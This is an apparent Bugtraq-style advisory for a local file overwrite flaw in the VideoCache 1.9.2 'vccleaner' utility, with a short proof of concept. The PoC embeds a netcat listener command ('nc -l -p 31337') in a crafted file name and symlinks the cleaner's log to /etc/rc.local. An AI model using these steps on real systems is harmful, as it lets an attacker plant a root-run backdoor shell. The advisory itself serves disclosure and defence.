VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability

BID:41813

Info

VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability

Bugtraq ID: 41813
Class: Design Error
CVE:
Remote: No
Local: Yes
Published: Dec 16 2009 12:00AM
Updated: Dec 16 2009 12:00AM
Credit: Dominick LaTrappe
Vulnerable: Kulbir Saini VideoCache 1.9.2
Not Vulnerable:

Discussion

VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability

VideoCache is prone to a security vulnerability that may allow attackers to overwrite arbitrary data.

An attacker can exploit this issue to semi-overwrite arbitrary files with root privileges. Successfully exploiting this issue will result in a denial-of-service condition or the corruption of arbitrary files.

VideoCache 1.9.2 is vulnerable; other versions may also be affected.

Exploit / POC

VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability

The following proof of concept is available:

attacker:

$ id
uid=13(proxy) gid=13(proxy) groups=13(proxy)
$ cd /var/log/videocache
$ touch -d 19700101 "/var/spool/videocache/youtube/money
> nc -l -p 31337 -c sushi
> monkey"
$ rm -f vccleaner.log
$ ln -s /etc/rc.local vccleaner.log

admin:

# id
uid=0(root) gid=0(root) groups=0(root)
# vccleaner
Videocache cleaning has completed successfully.

Solution / Fix

VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability

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